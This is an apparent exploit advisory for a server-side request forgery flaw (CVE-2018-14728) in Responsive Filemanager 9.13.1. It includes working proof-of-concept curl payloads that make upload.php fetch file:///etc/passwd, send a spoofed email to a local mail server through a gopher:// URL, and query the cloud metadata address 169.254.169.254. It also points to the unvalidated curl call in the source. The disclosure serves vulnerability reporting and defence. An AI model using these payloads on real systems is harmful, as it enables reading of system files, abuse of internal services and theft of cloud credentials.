Responsive Filemanager 9.13.1 Server-Side Request Forgery

` # Exploit Title: Responsive filemanager - SSRF  
# Date: 29/07/2018  
# Exploit Author: GUIA BRAHIM FOUAD  
# Vendor Homepage: http://responsivefilemanager.com/  
# Software Link:  
https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.13.1/responsive_filemanager.zip  
# Version: 9.13.1  
# Tested on: responsive filemanager version: 9.13.1, php version: 7.0  
# CVE : CVE-2018-14728  
  
Type  
[Security] Bug report - SSRF - Security Issue  
  
PoC  
curl 'http://localhost/filemanager/upload.php' --data  
'fldr=&url=file:///etc/passwd'  
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=gopher://  
127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a  
'  
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=  
http://169.254.169.254/openstack'  
...  
  
Description of the problem  
Server Side Request Forgery (SSRF) refers to an attack where in an attacker  
is able to send a crafted request from a vulnerable web application. SSRF  
is usually used to target internal systems behind firewalls that are  
normally inaccessible to an attacker from the external network.  
Additionally, itas also possible for an attacker to leverage SSRF to access  
services from the same server that is listening on the loopback interface  
(127.0.0.1).  
  
Typically Server Side Request Forgery (SSRF) occurs when a web application  
is making a request, where an attacker has full or partial control of the  
request that is being sent. A common example is when an attacker can  
control all or part of the URL to which the web application makes a request  
to some third-party service  
  
List the steps to reproduce the issue  
The GET parameter 'url' is received in line 71 of the file upload.php.  
  
File : upload.php  
  
Line| Code  
71 | if(isset($_POST['url'])){  
73 | $ch = curl_init($_POST['url']);  
77 | curl_exec($ch);  
  
Environment  
responsive filemanager version: 9.13.1  
php version: 7.0  
`